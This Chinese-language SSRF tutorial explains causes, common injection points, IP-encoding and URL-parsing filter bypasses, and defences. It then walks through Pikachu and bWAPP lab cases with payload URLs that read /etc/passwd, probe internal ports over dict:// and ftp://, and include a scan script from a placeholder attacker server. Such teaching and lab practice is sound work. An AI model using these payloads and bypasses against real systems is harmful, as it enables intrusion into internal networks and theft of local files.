SSRF漏洞原理
SSRF (Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞。
很多Web应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL,Web应用可以获取url中的图片,下文件,读文件等。
攻击者可以利用存在缺陷的web应用作为代理攻击远程和本地服务器。一般SSRF攻击的目标是从外网无法访问的内部系统。
SSRF形成原因
SSRF漏洞形成的原因大多是因为服务端提供了从其他[服务器/应用]获取数据的功能,且没有对目标地址作过滤和限制。
比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档等等。
比如 :
A 网站是所有人都可以访问的外网网站,A能与B通信,B 网站是一个他们内部的网站
我们普通用户只可以访问 a 网站,不能访问 b 网站。
但是我们可以同过a网站做中间人,访问 b网站,从而达到攻击 b 网站需求
所以一般攻击是选择一台可以由我们访问的存在漏洞的外网服务器(作为跳板机)
正常用户访问网站的流程是
输入 A 网站 URL –> 发送请求 –> A 服务器接受请求(没有过滤),并处理 –>返回用户响应
产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以 及限制,导致 A 网站可以从其他服务器的获取数据


SSRF的用途:
攻击者利用ssrf可以实现的攻击主要有5种
- 可以对外网、服务器所在内网、本地进行端口扫描
获取一些服务的banner信息 - 攻击运行在内网或本地的应用程序
比如溢出 - 对内网web应用进行指纹识别
通过访问默认文件实现 - 攻击内外网的web应用
主要是使用get参数就可以实现的攻击(比如struts2,sqli等) - 利用file协议读取本地文件等
各个协议调用探针:http,file,dict,ftp,gopher 等
漏洞攻击:端口扫描,指纹识别,漏洞利用,内网探针等
http://192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21
内网探针:通过服务端请求其内网中的信息,内网穿透过去,通过协议,http,file,ftp,等
在内网中是没有办法直接请求信息的,通过访问网站实现跳板,来对内网实现攻击
内网IP地址是私有的,IP端并不多,做一个字典可以跑。
攻击的不是真实内网去,而是去打一些藏在内网中的服务,比如数据库被放在内网中无法提取,邮件服务器,隧道,代理等等等等
SSRF漏洞出没位置
注:个人觉得所有调外部资源的参数都有可能存在ssrf漏洞
- 分享:通过URL地址分享网页内容
- 转码服务
- 在线翻译
- 图片加载与下载:通过URL地址加载或下载图片
- 图片、文章收藏功能
- 未公开的api实现以及其他调用URL的功能
- 从URL关键字中寻找
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain等
例如: www.xxx.com/xxx.php?image=www.lucity.com/1.jpg
如果我们将 www.lucity.com/1.jpg 换为与该服务器相连的内网服务器地址会产生什么
在存在漏洞的情况想,如果存在该内网地址就会返回 1xx 2xx 之类的状态码,不存在就会其他的状态码
SSRF绕过与防护
SSRF常用的后端实现
ssrf 攻击可能存在任何语言编写的应用,代码审计中要注意以下函数
- file_get_contents
从用户指定的 url 获取图片,然后把它用一个随机文 件名保存在硬盘上,并展示给用户 - fsockopen()
实现获取用户制定 url 的数据(文件或者 html)。这个函数会 使用 socket 跟服务器建立 tcp 连接,传输原始数据 - curl_exec()
用来获取数据
绕过手法
更改 IP 地址写法
一些开发者会通过对传过来的 URL 参数进行正则匹配的方式来过滤掉内网 IP,如采用如下正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤我们可以采用改编 IP 的写法的方式进行绕过,例如 192.168.0.1 这个 IP 地址
我们可以改写成:
(1)、8 进制格式:0300.0250.0.1
(2)、16 进制格式:0xC0.0xA8.0.1
(3)、10 进制整数格式:3232235521
(4)、16 进制整数格式:0xC0A80001
利用解析 URL 所出现的问题
在某些情况下,后端程序可能会对访问的 URL 进行解析,对解析出来的 host 地址进行过滤。这时候可能会出现对 URL 参数解析不当,导致可以绕过过滤。
随意地址+攻击地址:http://www.baidu.com@192.168.0.1/
当后端程序通过不正确的正则表达式(比如将 http 之后到 com 为止的字符内容,也就是 www.baidu.com,认为是访问请求的 host 地址时)对上述 URL 的内容进行解析的时候, 很有可能会认为访问 URL 的 host 为 www.baidu.com,而实际上这个 URL 所请求的内容是192.168.0.1 上的内容。
SSRF 防护方法
1、防护措施
(黑名单)
(1)过滤 10.0.0.0/8 、172.16.0.0/12、192.168.0.0/16、localhost 私有地址、IPv6 地址
(2)过滤 file:///、dict://、gopher://、ftp:// 危险 schema
(3)对返回的内容进行识别
(4)内网服务开启鉴权(Memcached, Redis, Elasticsearch and MongoDB)
2、最佳防护
- 使用地址白名单
- 对返回内容进行识别
- 需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:
首先禁用CURLOPT_FOLLOWLOCATION;
然后通过域名获取目标ip,并过滤内部 ip;
最后识别返回的内容是否与假定内容一致
SRF案例:
案例一:url没过滤
# 源代码如下
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
此时可以在url后边接任意地址,当然真正的渗透应该接目标的内网地址
#原地址:
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://localhost/1.txt
#直接替换url为任意网址或本地文件路径
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
案例二:只读取PHP文件
file_get_contents函数只能读取PHP文件,所以可以修改原本的路径,读取服务器其他的php文件
http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/captain.php
案例三:文件包含
利用文件包含漏洞,加载远程脚本扫描内部服务
#GET的请求:
http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go
#观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
#使用如下payload,远程包含并执行扫描脚本探测内网主机的端口和服务。
#POST请求
http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/bWAPP/ssrf-1.txt&action=go
#POST DATA内容:
ip=192.168.60.70
192.168.163.157是要访问的主机地址A
xxx.xxx.xxx是要使用的远程扫描脚本的地址(也就是自己搭建的服务器)
192.168.60.70是要扫描的目标主机内网地址B,且该地址是xxx.xxx.xxx主机无法访问到的
使用post请求提交要进行扫描的目标主机IP,扫描结束后便返回结果。
参考链接: